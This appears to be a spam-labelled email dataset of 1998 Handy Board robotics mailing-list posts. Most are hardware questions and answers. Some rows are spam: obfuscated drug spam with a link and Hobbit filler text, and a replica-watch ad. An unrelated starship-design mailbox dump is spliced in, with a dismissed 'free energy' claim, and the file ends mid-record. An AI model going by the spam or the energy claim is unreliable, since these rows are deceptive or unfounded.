on how often you need the positions calculated from the mouse counters. You won't be able to get that as fast as the mouse counter updates, but all you have to do is get the latest and do your calculation. It's the control aspects using that information which will determine whether your application is fast enough. Mike Lockheed Martin, Houston TX michael.ross@lmco.com Engineering Analysis and Simulation Dept 281-333-7094; C33; 34KN > ---------- > From: > anton_attanayake@rd.qms.com[SMTP:anton_attanayake@rd.qms.com] > Sent: Monday, August 03, 1998 2:23 PM > To: handyboard@media.mit.edu > Subject: speed of the board > > > Hi guys, > > I am worried about the 2MHz clock speed of the HB. The robot that I > am building has a mouse in the bottom of it and I am writing the > program to read the number of digital pulses and calculate the > position relative to the starting point. There are many square roots > > and unit vector additions in the calculations. > Do you think the above speed is good enough for the job? > > I know the E series 6811 runs at a faster clock speed. So can I > replace the 6811 chip and the oscillator and get a faster performing > controller board? If yes, please let me know where to get the parts > and things to know when making the change. > > Thanks every body, > -anton > > ",0,0 """Fred G. Martin"" ","""Ross, Michael"" ","Tue, 04 Aug 1998 10:24:01 -0400",Re: speed of the board ,"the other issue that should be mentioned re: changing clock speed is that it messes up the baud rate of the serial communications. if you plan to use interactive C, would have re-assemble the pcode program with a different baud rate constant, to achieve the target rate of 9600 baud. (this is the rate that the PC hosted Interactive C program communicates at.) not all baud rates are available at all system clock rates; 9600 baud might not be available on the 6811 at other than the standard 8 MHz crystal/2 MHz system clock. Fred In your message you said: > You shouldn't lose place if the mouse is serviced by input counters and > interrupt routines, so whether 2 MHz is fast enough depends on how often you > need the positions calculated from the mouse counters. You won't be able to > get that as fast as the mouse counter updates, but all you have to do is get > the latest and do your calculation. It's the control aspects using that > information which will determine whether your application is fast enough. > > Mike > > Lockheed Martin, Houston TX > michael.ross@lmco.com > Engineering Analysis and Simulation Dept > 281-333-7094; C33; 34KN > > > ---------- > > From: > > anton_attanayake@rd.qms.com[SMTP:anton_attanayake@rd.qms.com] > > Sent: Monday, August 03, 1998 2:23 PM > > To: handyboard@media.mit.edu > > Subject: speed of the board > > > > > > Hi guys, > > > > I am worried about the 2MHz clock speed of the HB. The robot that I > > am building has a mouse in the bottom of it and I am writing the > > program to read the number of digital pulses and calculate the > > position relative to the starting point. There are many square roots > > > > and unit vector additions in the calculations. > > Do you think the above speed is good enough for the job? > > > > I know the E series 6811 runs at a faster clock speed. So can I > > replace the 6811 chip and the oscillator and get a faster performing > > controller board? If yes, please let me know where to get the parts > > and things to know when making the change. > > > > Thanks every body, > > -anton > > > > > ",0,0 """Mr. Carmack"" ",HandyBoard List ,"Tue, 04 Aug 1998 10:18:21 -0500",Need Simple IC editor,"Howdy. Thanks to everybody who gave me advice when I wrote about some basic issues. Your responses included links to a C- compiler, a C tutorial, an electronics tutorial, and more! I managed to get my HB up and running and have begun tinkering around with simple commands, while connecting motors/sensors to the board using alligator clips (and the male headers). I shudder at the thought of having to develop an expertise in soldering. :-) My question is, using NotePad or WordPad or MSWord, on Windows95, How do I use these programs to write and save (and edit) IC programs? And how do I compile them? Joseph (Alan) Carmack Pflugerville, Texas ",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Tue, 04 Aug 1998 11:46:58 -0400",Re: speed of the board,"anton, You might want to think about getting rid of all those square roots. Take a look at what you are really trying to do and decide if you need the square root. For example, if you are just compairing two distances to see which is greater, you can leave the numbers as squares. With a little head scratching you ought to be able to develop a navigation system that is strictly integer. Fred ",0,0 GDFRITZ@aol.com,handyboard@media.mit.edu,"Tue, 04 Aug 1998 12:10:45 -0400",Where and when to buy a HandyBoard?,"Hi all, I am considering purchasing a handyboard, but Definitly want to get the sensor expansion board when available. 1) Do I need to purchase a specific handyboard in order to get the I/O expansion board to work? 2) Is Gleason Research a good company to buy from? 3) Are there any examples/kits available for doing some vision analysis? 4) Is there any reason to wait a few months on purchasing one? Is there a HandyBoard 2 coming out soon? I am not that confident with my soldering ability, so I need to get an assembled one to start with...I don't mind soldering add-ons though. Thanks! Gerald ",0,0 Will ,Handyboard Mailing List ,"Tue, 04 Aug 1998 10:31:30 -0600",Re: Need Simple IC editor,"Mr. Carmack wrote: > My question is, using NotePad or WordPad or MSWord, on Windows95, How > do I use these programs to write and save (and edit) IC programs? And > how do I compile them? While any text editor will suffice, I highly recommend one called TextPad. It has very powerful features and does an excellent job of formatting source code. It's available as shareware from www.download.com. (Note: I'm not getting anything out of this; I just think it's a great piece of software!) If you use a word processor (like MSWord), be sure you save the code as plain text. Interactive C code does not need to be compiled. Simply save the code as a text file in your IC\\libs\\ folder with a "".c"" extension, then run IC and use the ""load"" command. Hope this helps. Good luck! --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Suburbia is where the developer bulldozes out Will Bain, the trees, then names the streets after them. & Tatoosh --Bill Vaughn",0,0 Mike Davis ,handyboard@media.mit.edu,"Tue, 04 Aug 1998 10:23:29 -0700",FS: HandyBoard,"I have an extra HandyBoard that I assembled and tested. Never used in a project. Includes: Controller Board 2x16 line LCD Nicad Batteries RS-232 Interface/ Charger Board RS-232 Cable Cases for Charger and HB AC Adapter $225 If interested: Mike Davis ipscone@halcyon.com -- ----------------------------------------------------------------- ipscone@halcyon.com Shoot-To-Win! Protect the 2nd Amendment! Your rights may be next! ----------------------------------------------------------------- ",0,0 Rick Moll ,"""Ross, Michael"" , handyboard ","Tue, 04 Aug 1998 14:41:44 -0500",Re: speed of the board,"From: > anton_attanayake@rd.qms.com[SMTP:anton_attanayake@rd.qms.com] > > I am worried about the 2MHz clock speed of the HB. The robot that I > am building has a mouse in the bottom of it and I am writing the > program to read the number of digital pulses and calculate the > position relative to the starting point. There are many square roots > and unit vector additions in the calculations. I assume you are going to need to do trig functions as well? I've written software that functions as a 2-D odometer, and uses encoders on the two wheels, and I had to write sin,cos,atan2 functions. How are you getting rotational information out of the mouse? Does your robot not turn, or is the mouse offset from the centerline of the wheels so that you can calculate rotation from the x-axis, and use the y-axis to get forward/backward motion? Any way, I suspect that your either going to have to write a lot of assembly, or use some other language than IC. I ended up writing an integer based trig library that allowed me to do a sin and cos calculation from inside an interrupt function; but I was using a faster processor and had a lot of memory to do table lookups. I also had a lot of code of the form: int a; int b; int c; c = (int)(((long)a<<15)/c); which won't work in IC since it doesn't support long division, ARGH! Maybe if you gave us more details of what you're planning to do, we could be of more help. Later, Rick",0,0 GJZ@aol.com,handyboard@media.mit.edu,"Tue, 04 Aug 1998 16:46:45 -0400",mouse encoders,"hello, does anyone know how to interface the handyboard with a shaft encoder from a mouse? i am interested in using one out of a microsoft mouse, which uses electrical contacts, instead of an optical sensor. what kind of signal is sent from the encoder, and need i include all of the circuitry that is already in the mouse, or can i adapt the encoder to the handyboard thru programming? thanks. Justin D. Gullotta.. , Engineer, Rensselaer Polytechnic Institute. ",0,0 hachemi mechlih ,handyboard@media.mit.edu,"Tue, 04 Aug 1998 19:29:05 -0700",CW TECHNOLOGY,"ALL, Do you know if the guy from CW Technology who sells MiniBoard is still doing selling them. I sent him an email, but no reply so far. Thanx. Hachemi ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Sam_Wurzel@loomis.org,handyboard@media.mit.edu,"Wed, 05 Aug 1998 04:14:31 +0100",troubleshooting,"I am assembling my handyboard and am at the stage where i have completed the motor and analog circuits. When I test hte analog circuit the LCD screen prints""press START to test knob..."" when i press start the board beeps and the screen goes blank. when i testmotors() it downloads to the board but the LCD screen does not change from the IC message. I checked the potential between pin 51 and 52 and measures 5.00 V The board came equipped with a different knob than the one in the pictures (it is smaller) The testdigitals() functions worked flawlessly. any help would be appreciated thanks Sam Wurzel ",0,0 Patrick Cutts ,handyboard@media.mit.edu,"Wed, 05 Aug 1998 01:05:24 -0700",yet another hb for sale,"One Handyboard, from Gleason Research, specifically GRHB-PC, with all cables, power supply, software, LCD, battery, charger board, etc. Get it with two Lego 9 volt gearmotors (they cost me $19 each) and my key for IC 3.2. Used for one small project, then put back in box. Dodn't need all the bells and whistles this thing has over the miniboard, and don't have a use for IC (not that I don't think it's a great environment, I'd just rather use assembly language or ICC11!) all for $235 plus shipping. (from California) Patrick ",0,0 Sheridan Edward Ethier ,handyboard@media.mit.edu,"Wed, 05 Aug 1998 11:11:15 -0500",Pull Up Resistor,"Hi, The polaroid documentation mentions that a 4.7K resistor should be placed between ECHO and Vcc. Should this be done when interfacing to the HB? Thanks, Sheridan ",0,0 Rick Moll ,Sheridan Edward Ethier ,"Wed, 05 Aug 1998 10:45:49 -0500",Re: Pull Up Resistor,"Sheridan Edward Ethier wrote: > The polaroid documentation mentions that a 4.7K resistor should be placed > between ECHO and Vcc. Should this be done when interfacing to the HB? The sensor connectors on the HB already have pullup resistors on the signal inputs (as I recall they were 47K), so you shouldn't need to add an additional pullup. If you want to make sure, just check the signal connection with a voltmeter to verify that it's close to 5V when the sonar is not being pinged. Rick ",0,0 """ED Spike, E&CE Dept."" ","handyboard@media.mit.edu, beam@palladium.corp.sgi.com, Dave Hrynkiw ","Wed, 05 Aug 1998 11:50:43 -0400",General use PCB ," We have been using the Radio Shack, Archer board #276-162A. Specifications: Dimensions 3 inches x 4 inches, with copper lands on one side. 30 holes by 25 holes with mounting holes at 2.5 inch and 3.5 inch spacing. We have to told that Radio Shack stores no longer carry this item. We are in need of 60 boards now. Since the board is a good general PCB we would like to find a supplier. Any help to find a source is appreciated. -- Ed Spike VE3TCK E&CE Department, University of Waterloo. E2-3357 Communication and Microwave Area Laboratory Instructor. (519)888-4567, x3716, FAX: (519)746-3077 URL: http://www.ece.uwaterloo.ca/~spike IEEE Student Branch Computer Chapter Advisor, and Robotic Olympics Co-0rdinator. Amateur Radio - Emergency Services Committee Chair for KW ARC Inc. Club Olympia Judo. Scouter, U. of W. Rover Crew Advisor, and 17th Waterloo. -- ",0,1 PWebb@swri.edu,handyboard@media.mit.edu,"Wed, 05 Aug 1998 10:54:36 -0500",Handy Board for Sale!,"To Anyone Interested, I have a nearly brand new complete Handy Board for Sale. I used it one week and unfortunately it does not have the capability to do what I want. It is complete with battery installed, serial/charger board, software for IBM, power supply, Assembly, IC, and Handy Board Manuals. It comes in a nice portable padded case for safe travel. It is brand new and fully functional. All of this for $250 plus $5 for shipping in the continental United States. Email me at pwebb@ieee.org if interested. First reply has first priority. Patrick Webb Southwest Research Institute Div. 10 San Antonio, Texas pwebb@ieee.org ",0,0 phillip chia ,handybd ,"Wed, 05 Aug 1998 00:09:47 +0800",Handy board Expansion ,"hi, I have gone thru the Handy board expansion schmetic circuit version 3.0 by Mr.Fred Martin whcih updated on the June 14,1998. I have some doubts : 1) What and where is the the Analog pass-through connector (J4) and Motor power pass-through connector (J6) situated in the Handybd ? 2) This is an important and urgent issue . From the expansion circuit, there are two 74HC374 (U1 & U4) used for expansion. How and WHERE does the input lines from D0 to D7 to be connected ? I find no space to be connected or tap-out from the handybd . Can I do such a way that I insert the input lines of D0 to D7 of the two 74HC374 into the digital inputs from pin8 to pin15 (near the battery & power LED) for connection? 3) How should I initialise with program of the output and input digital and analog respectively ? 4) Can the expansion board expand further for digital inputs ? Please help me to clarify the doubts. I need it urgently for my project. Thank you. rgds, phillip chia ",0,0 Ilya ,handyboard@media.mit.edu,"Wed, 05 Aug 1998 12:24:35 -0500",digital out," I am in the need for additional digital outputs. I have read the FAQ and found out that to get 8 more digital outs, I have to connect the 'hc374' clock line to any of the unused output latch selects of the 'hc138'. Has anyone done this? If so, any feedback? Does anyone know the number of the pins on the chips that are involved in this? What would be their address? 0x???? and which out is which bit? Thanx in advance Ilya ",0,0 phillip chia ,handybd ,"Wed, 05 Aug 1998 01:59:12 +0800",HANDY BD EXPANSION,"hi, I have gone thru the Handy board expansion schmetic circuit version 3.0 by Mr.Fred Martin whcih updated on the June 14,1998. I have some doubts : 1) What and where is the the Analog pass-through connector (J4) and Motor power pass-through connector (J6) situated in the Handybd ? 2) This is an important and urgent issue . From the expansion circuit, there are two 74HC374 (U1 & U4) used for expansion. How and WHERE does the input lines from D0 to D7 to be connected ? I find no space to be connected or tap-out from the handybd . Can I do such a way that I insert the input lines of D0 to D7 of the two 74HC374 into the digital inputs from pin8 to pin15 (near the battery & power LED) for connection? 3) How should I initialise with program of the output and input digital and analog respectively ? 4) Can the expansion board expand further for digital inputs ? Please help me to clarify the doubts. I need it urgently for my project. Thank you. rgds, phillip chia ",0,0 """Curt Mills, WE7U"" ","""ED Spike, E&CE Dept."" ","Wed, 05 Aug 1998 11:49:07 -0700",Re: General use PCB ,"On Wed, 5 Aug 1998, ED Spike, E&CE Dept. wrote: > We have been using the Radio Shack, Archer board #276-162A. > We are in need of 60 boards now. Since the board is a good general PCB we > would like to find a supplier. Option #1: How about making some of your own? If you need 60, then the prices from board houses start getting pretty low. Check out these places: http://www.apcircuits.com http://www.advancedcircuits.com http://www.expresspcb.com I made up a small spreadsheet for expresspcb and apcircuits pricing, and at quantity 60 you can get boards for about $10 each from ExpressPCB, and $9 each from APcircuits (3"" x 4"" board, single or double-sided, plated-through holes). Crank up the quantities or crank down the board area and the prices go down. You also have the option of customizing the board for exactly your use. ExpressPCB uses their own software (downloadable for free last time I looked) to do the layout, while apcircuits accepts standard Gerber files and drill files. I have not used any of these services, but I plan on trying out APcircuits in the coming months. APcircuits is in Calgary, which might also affect your decision. Option #2: Another thing to check out is ""TechAmerica"", which is apparently another Tandy company? They are connected to Radio Shack in some manner, and you can buy their catalogs at Radio Shack. They have a lot of parts and project kits and such, and may carry the type of board that Radio Shack no longer does. Good luck, Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com Senior Methods Engineer/SysAdmin ""Lotto: A tax on people who are bad at math."" -- unknown ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,1 Sam_Wurzel@loomis.org,handyboard@media.mit.edu,"Wed, 05 Aug 1998 20:52:04 +0100",voltage regulator,"The voltage regulator on my board (U13) gets so hot that when i touched it it burned my finger. I am using the recomended 12V 500ma ac adaptor. I have been having problems testing the motor circutry and the red motor lights light up when i turn the board on. However the board voltage is correct (5.00V). This is the second voltage regulator i am using because the otherone was giving a board voltage of 5.13V. I suspect the malfunction was due to the heat it generated. The orientation is correct. Why is this happening? sam ",0,0 Chuck McManis ,"""Curt Mills, WE7U"" ","Wed, 05 Aug 1998 14:13:04 -0700",Re: General use PCB,"I too was going to suggest AP having done business with them in the past, however you have to note that they have a 'high density' drilling surcharge. This surcharge is 1 cent for every hole over 24 in 1 sq "" of board. Thue ""perfboard"" (10 x 10 holes in 1 sq"") costs $0.76 per square inch. For a board that has a 3 x 2.5"" breadboard area, that is 7.5 sq inches at an additional board cost of $5.70 per board. Add to that their ""regular"" charge of .68/sq in ( the board is 3 x 4 (or 12 sq"")) which is then $8.16 and the absolute minimum cost is about $14/board. This is simply unacceptable when buying class 'lab supplies.' Now a ""real"" board house (that is one that will tool up for a board run of 250 - 500 boards) will be able to significantly beat that price. My guess is that they could do it for about $3 - 8/board. And you would end up with better boards overall. (In Silicon Valley it seems the bid is often on quantity rather than price, as in ""I'll pay $1,000, how many boards will I get?"" :-) Alternatively there are board places that will put your artwork in the ""unused"" portion of another customers board. That can be a win because the board house gets revenue on what would have been waste product but it is often 'cut yourself' type of deals. I like the concept behind the PICProto type boards (See JDR microdevices, Parallax, or the www.robotstore.com web site for a picture), they are a combination of a simple PIC layout and some breadboard. For students it might be helpful to have a pre-layed out voltage regulator circuit or three so that one could build an arbitrary circuit on them. --Chuck Curt Mills, WE7U wrote: > > On Wed, 5 Aug 1998, ED Spike, E&CE Dept. wrote: > > > We have been using the Radio Shack, Archer board #276-162A. > > > We are in need of 60 boards now. Since the board is a good general PCB we > > would like to find a supplier. > > Option #1: How about making some of your own? If you need 60, then the > prices from board houses start getting pretty low. Check out these > places: > > http://www.apcircuits.com > http://www.advancedcircuits.com > http://www.expresspcb.com > > I made up a small spreadsheet for expresspcb and apcircuits pricing, and > at quantity 60 you can get boards for about $10 each from ExpressPCB, and > $9 each from APcircuits (3"" x 4"" board, single or double-sided, > plated-through holes). Crank up the quantities or crank down the board > area and the prices go down. You also have the option of customizing the > board for exactly your use. > > ExpressPCB uses their own software (downloadable for free last time I > looked) to do the layout, while apcircuits accepts standard Gerber files > and drill files. I have not used any of these services, but I plan on > trying out APcircuits in the coming months. > > APcircuits is in Calgary, which might also affect your decision. > > Option #2: Another thing to check out is ""TechAmerica"", which is > apparently another Tandy company? They are connected to Radio Shack in > some manner, and you can buy their catalogs at Radio Shack. They have a > lot of parts and project kits and such, and may carry the type of board > that Radio Shack no longer does. > > Good luck, > > Curt Mills, WE7U hacker.NO_*SPAM@tc.fluke.com > Senior Methods Engineer/SysAdmin > ""Lotto: A tax on people who are bad at math."" -- unknown > ""Windows: Microsoft's tax on computer illiterates."" -- WE7U ",0,1 """Fred G. Martin"" ",Sam_Wurzel@loomis.org,"Wed, 05 Aug 1998 17:19:18 -0400",Re: voltage regulator ,"there is probably some other circuit on your board that is drawing too much power. put your finger on the other chips and see if any of them is hot (there shouldn't be any). if necessary, remove all socketed chips to see if you can get the vregulator to cool down -- you may have a failed chip that's drawing the power. fred In your message you said: > The voltage regulator on my board (U13) gets so hot that when i touched it it > burned my finger. I am using the recomended 12V 500ma ac adaptor. I have been > having problems testing the motor circutry and the red motor lights light up > when i turn the board on. However the board voltage is correct (5.00V). This is > the second voltage regulator i am using because the otherone was giving a boa rd > voltage of 5.13V. I suspect the malfunction was due to the heat it generated. > The orientation is correct. Why is this happening? > sam > > > ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Wed, 05 Aug 1998 19:57:24 -0400",HOW TO UNSUBSCRIBE,"Please, do not send unsubscribe requests to the main Handy Board mailing list. Instead, send them to me, Fred Martin, fredm@media.mit.edu. I am the only person who can remove you from the list. Thank you for your consideration of others on the mailing list. -Fred ",0,0 Anouk Altamirano ,handyboard@media.mit.edu,"Thu, 06 Aug 1998 02:38:00 -0700",Re: CtsALlS news,"Hi, V L X V C A P I e a A I m r A v n L A b o G i a I L i z R t x U I e a A ra M S n c http://www.essanears.com They were alone in the perilous waste without hope of further help. They were at the end of their journey, but as far as ever, it seemed, from the end of their quest. None of them had much spirit left. Now strange to say Mr. Baggins had more than the others. He would often borrow Thorins map and gaze at it, pondering over the runes and the message of the moon-letters Elrond had read. It was he that made the ",1,1 Sheridan Edward Ethier ,Rick Moll ,"Thu, 06 Aug 1998 11:34:32 -0500",Re: Pull Up Resistor,"I checked the ECHO signal and found it to be at 2.0V when plugged into TIC3 on the HB. I also applied a pull-up resitor which did send ECHO to 5V when not pinging. However, in both cases, I still had seemingly random positive and negative values returned from the sonar. Any insight would be appreciated. Thanks, Sheridan On Wed, 5 Aug 1998, Rick Moll wrote: > Sheridan Edward Ethier wrote: > > > The polaroid documentation mentions that a 4.7K resistor should be placed > > between ECHO and Vcc. Should this be done when interfacing to the HB? > > The sensor connectors on the HB already have pullup resistors on the signal > inputs (as I recall they were 47K), so you shouldn't need to add an > additional pullup. If you want to make sure, just check the signal > connection with a voltmeter to verify that it's close to 5V when the sonar is > not being pinged. > > Rick > > > ",0,0 Rick Moll ,Sheridan Edward Ethier ,"Thu, 06 Aug 1998 11:49:49 -0500",Re: Pull Up Resistor,"Sheridan Edward Ethier wrote: > I checked the ECHO signal and found it to be at 2.0V when plugged into > TIC3 on the HB. I also applied a pull-up resitor which did send ECHO > to 5V when not pinging. However, in both cases, I still had seemingly > random positive and negative values returned from the sonar. > > Any insight would be appreciated. I just checked my copy of the Polaroid Sonar Module documentation, and it does in deed state that the module can sink up to 0.1 mA when ECHO is pulled high. It sounds like your module is drawing around 0.064 mA = ((5V - 2V)/47Kohms), so it is in spec; but even so 2V is *not* a valid CMOS level (anything between 1V to 3.5V is not a valid input according to my 68HC11 doc). So first thing, I would use the 4.7K pullup! But that said, it sounds like you have something else wrong. Do you have access to an oscilloscope? If so you could verify the timing of the interface pins. Later, Rick ",0,0 Rick Moll ,Sheridan Edward Ethier ,"Thu, 06 Aug 1998 12:04:40 -0500",Re: Pull Up Resistor,"Rick Moll wrote: > So first thing, I would use the 4.7K pullup! One more thought. I assume you are using a seperate supply (of some sort) for the Sonar module, so be sure to tie the pullup to the HB's +5V! Rick ",0,0 Monroe Gallegos ,Blanche ,,Fwd: hi!," LUXURY WATCHES - BUY YOUR OWN ROLEX FOR ONLY $219! Rolex :: Cartier :: Bvlgari :: Frank Muller :: Patek Philippe :: Vacheron Constantin A. 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Rgds, phillip chia ",0,0 EVA-01 ,handyboard@media.mit.edu,"Fri, 07 Aug 1998 14:36:09 +0800",Interfacing I2C devices,"Can the HandyBoard interface to I2C devices through it's SPI (or otherwise) port? If so, does anyone have the source code to do so? I am interfacing the National LM4832 chip to it. Thanks in advance. ",0,0 Kevin Houston ,SSD ,"Fri, 07 Aug 1998 05:55:26 -0500",starship-design: Im' back.,"Hello all. I've settled down into a stable E-mail address again. please update your bookmarks with this address kevin@urly-bird.com I've also started recieving the list again. what is the latest buzz? is there a solid theoretical design yet, and if so what are the parameters? -- Kevin Houston >From VM Fri Aug 7 09:38:47 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1083"" ""Fri"" ""7"" ""August"" ""1998"" ""10:21:20"" ""-0500"" ""Jonathan J Jay"" ""jon_jay1@juno.com"" nil ""22"" ""Re: starship-design: Power - T.E.M.I"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1083 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id IAA03710 for starship-design-outgoing; Fri, 7 Aug 1998 08:25:57 -0700 (PDT) Received: from x13.boston.juno.com (x13.boston.juno.com [205.231.100.27]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id IAA03701 for ; Fri, 7 Aug 1998 08:25:52 -0700 (PDT) Received: (from jon_jay1@juno.com) by x13.boston.juno.com (queuemail) id DK3DCR5S; Fri, 07 Aug 1998 11:22:59 EDT Message-ID: <19980807.102121.11918.1.jon_jay1@juno.com> References: X-Mailer: Juno 1.49 X-Juno-Line-Breaks: 0-16 Precedence: bulk Reply-To: jon_jay1@juno.com (Jonathan J Jay) From: jon_jay1@juno.com (Jonathan J Jay) Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Power - T.E.M.I Date: Fri, 7 Aug 1998 10:21:20 -0500 This is what he wrote, not me: "" I know what my device does. My bud sees major potential and just because I never learned advanced physics, or whatever, doesn't mean that I can't make it work. In answer to your points. ((A)). No it is not a battery. ((B)). The wires do not touch the rods. ((C)). As far as I know, it will last indefinitely. ((D)). Thanks for the little equation on V and A and stuff but I use a handheld voltmeter bought from an electronic shop on the corner because I spent all my dough building the device. ((E)). The TEMI is the DRIVE. The Hyronoline Tank is the POWER SOURCE. Also, the tank is as real as you or me. It is not a hoax. It has been running for three and a half weeks and doesn't show any sign of stopping. At present, I think that raising the temperature of the fluid may yield more energy."" _____________________________________________________________________ You don't need to buy Internet access to use free Internet e-mail. Get completely free e-mail from Juno at http://www.juno.com Or call Juno at (800) 654-JUNO [654-5866] >From VM Mon Aug 10 09:43:15 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1012"" ""Sat"" ""8"" ""August"" ""1998"" ""13:28:41"" ""+0100"" ""Timothy van der Linden"" ""Shealiak@XS4ALL.nl"" nil ""20"" ""Re: starship-design: Power - T.E.M.I"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1012 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id FAA13602 for starship-design-outgoing; Sat, 8 Aug 1998 05:29:25 -0700 (PDT) Received: from smtp3.xs4all.nl (smtp3.xs4all.nl [194.109.6.53]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id FAA13590 for ; Sat, 8 Aug 1998 05:29:22 -0700 (PDT) Received: from tim (dc2-modem2187.dial.xs4all.nl [194.109.136.139]) by smtp3.xs4all.nl (8.8.8/8.8.8) with SMTP id OAA27011 for ; Sat, 8 Aug 1998 14:29:17 +0200 (CEST) Message-Id: <3.0.1.32.19980808132841.007b5860@pop.xs4all.nl> X-Sender: shealiak@pop.xs4all.nl X-Mailer: Windows Eudora Light Version 3.0.1 (32) In-Reply-To: <19980807.102121.11918.1.jon_jay1@juno.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Precedence: bulk Reply-To: Timothy van der Linden From: Timothy van der Linden Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Power - T.E.M.I Date: Sat, 08 Aug 1998 13:28:41 +0100 Jonathan, Why did your friend want to inform this mailing list of his experiment while it still is in a premature phase (it has been running only 3 weeks)? This list can't function if we can't have more exact data or theory. The availability of infinite obtainable energy in a small container would make a large part of the subjects of this list useless. This is not a problem, however such devices need more backup than a single university friend who ""believes"" that it will work. Only freedom of information (if necessary through a patent) about the device will serve as enough backup. This mailing list can't function in any other way. If your friend merely did want to ask how he could avoid rapid cooling of the device in space, then the answer is simple: Insulation. But of course the propulsion system we need should release enough energy per second to accelerate a heavy starship. The heating of the device would only be a fraction of the power compared to the power needed for acceleration. Timothy >From VM Mon Aug 10 09:43:15 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1623"" ""Sat"" ""8"" ""August"" ""1998"" ""11:19:03"" ""-0500"" ""Jonathan J Jay"" ""jon_jay1@juno.com"" nil ""45"" ""Re: starship-design: Power - T.E.M.I"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1623 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id JAA11674 for starship-design-outgoing; Sat, 8 Aug 1998 09:22:09 -0700 (PDT) Received: from x13.boston.juno.com (x13.boston.juno.com [205.231.100.27]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id JAA11665 for ; Sat, 8 Aug 1998 09:22:07 -0700 (PDT) Received: (from jon_jay1@juno.com) by x13.boston.juno.com (queuemail) id DK523E7B; Sat, 08 Aug 1998 12:20:51 EDT Message-ID: <19980808.111904.6278.0.jon_jay1@juno.com> References: <3.0.1.32.19980808132841.007b5860@pop.xs4all.nl> X-Mailer: Juno 1.49 X-Juno-Line-Breaks: 0-6,8-39 Precedence: bulk Reply-To: jon_jay1@juno.com (Jonathan J Jay) From: jon_jay1@juno.com (Jonathan J Jay) Sender: owner-starship-design@lists.uoregon.edu To: Shealiak@XS4ALL.nl Cc: starship-design@lists.uoregon.edu Subject: Re: starship-design: Power - T.E.M.I Date: Sat, 8 Aug 1998 11:19:03 -0500 That, unfortunately, was the first thing I suggested. It cannot be insulated because it is live. Nothing can touch it without being zapped. He didn't want to ground it, so he put it on some corkboard and blue tacked it in place. Jonathan On Sat, 08 Aug 1998 13:28:41 +0100 Timothy van der Linden writes: >Jonathan, > >Why did your friend want to inform this mailing list of his experiment >while it still is in a premature phase (it has been running only 3 >weeks)? >This list can't function if we can't have more exact data or theory. > >The availability of infinite obtainable energy in a small container >would >make a large part of the subjects of this list useless. This is not a >problem, however such devices need more backup than a single >university >friend who ""believes"" that it will work. Only freedom of information >(if >necessary through a patent) about the device will serve as enough >backup. >This mailing list can't function in any other way. > >If your friend merely did want to ask how he could avoid rapid cooling >of >the device in space, then the answer is simple: Insulation. >But of course the propulsion system we need should release enough >energy >per second to accelerate a heavy starship. The heating of the device >would >only be a fraction of the power compared to the power needed for >acceleration. > >Timothy > > _____________________________________________________________________ You don't need to buy Internet access to use free Internet e-mail. Get completely free e-mail from Juno at http://www.juno.com Or call Juno at (800) 654-JUNO [654-5866] >From VM Mon Aug 10 09:43:15 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""608"" ""Sat"" ""8"" ""August"" ""1998"" ""16:00:39"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""19"" ""Re: starship-design: Power - T.E.M.I"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 608 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id NAA18434 for starship-design-outgoing; Sat, 8 Aug 1998 13:01:48 -0700 (PDT) Received: from imo22.mx.aol.com (imo22.mx.aol.com [198.81.17.66]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id NAA18422; Sat, 8 Aug 1998 13:01:45 -0700 (PDT) Received: from KellySt@aol.com by imo22.mx.aol.com (IMOv14_b1.1) id 7EJKa04142; Sat, 8 Aug 1998 16:00:39 -0400 (EDT) Message-ID: Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: stevev@efn.org, owner-starship-design@lists.uoregon.edu, jon_jay1@juno.com Cc: nlindber@u.washington.edu, starship-design@lists.uoregon.edu Subject: Re: starship-design: Power - T.E.M.I Date: Sat, 8 Aug 1998 16:00:39 EDT In a message dated 8/6/98 2:04:40 PM, stevev@efn.org wrote: > > > Q> Are the 'rods' changed any when the reaction starts? > > A> They heat up about 11 degrees centigrade but that's it. > >Yet another sign that it's probably no more than a chemical >battery. > >I really think this is not something we should be discussing on >starship-design. I didn't set up this list to be a ""kook >science"" forum or a place to discuss proprietary battery designs. Strongly agree! This is obviously nothing of interest to this group, or anyone else with knowledge of energy systems. Sorry for farwarding him. Kelly >From VM Mon Aug 10 09:43:15 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""679"" ""Sat"" ""8"" ""August"" ""1998"" 